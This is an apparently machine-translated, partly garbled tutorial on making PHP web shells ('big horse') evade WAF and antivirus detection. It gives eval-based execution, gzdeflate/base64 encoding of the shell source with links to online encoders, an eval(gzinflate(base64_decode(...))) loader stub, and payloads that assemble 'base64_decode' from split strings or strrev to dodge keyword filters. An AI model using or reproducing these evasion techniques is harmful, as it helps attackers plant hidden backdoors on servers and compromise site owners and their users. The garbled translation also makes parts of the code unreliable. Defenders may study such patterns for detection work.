PHP Big horse Kill-free Tips | Bypass WAF

Part 1 Preface

　　

Part 2 kill code execution

Eval or preg_replace the/E modifier to execute the DA ma code.

　　　

$a = ' phpinfo (); ' ; Eval ($a); // eval execute PHP code

Coding

If you go directly to execute the code, is not able to get over the WAF, we generally need to code the DA Ma source code.

EVAL_GZINFLATE_BASE64 type encryption and decryption:

http://www.zhuisu.net/tool/phpencode.php

https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php

Write your own script encryption:

$code file_get_contents // da ma source code path $encode Base64_encode (gzdeflate($code));  // The encryption function modifies itself. Echo $encode // output encrypted post code

Decoding

Execute our code by decoding.

　　

　　

<?php                         // encrypted code eval(gzinflate(base64_decode(' S03oyfdq8shuklbmtvoybga= '));? >

Keyword to avoid killing

// types such as keywords if there is no confusion, splitting is not going to be a WAF. Eval (gzinflate(base64_decode//  We need to do is to kill the keyword

No killing payload.

<?PHP$l= ' BaSe6 ';$o= ' 4_de ';$v= ' CO ';$e= ' DE ';$love=$l.$o.$v.$e;$c= "Love";$a=$$c(' Source Base64 encryption ');Eval($a);? ><?PHP$a=Strrev(' Edoced_46esab '); $b=$a(' Source Base64 encryption ');Eval($b);?>

　　

　　

PHP Big horse Kill-free Tips | Bypass WAF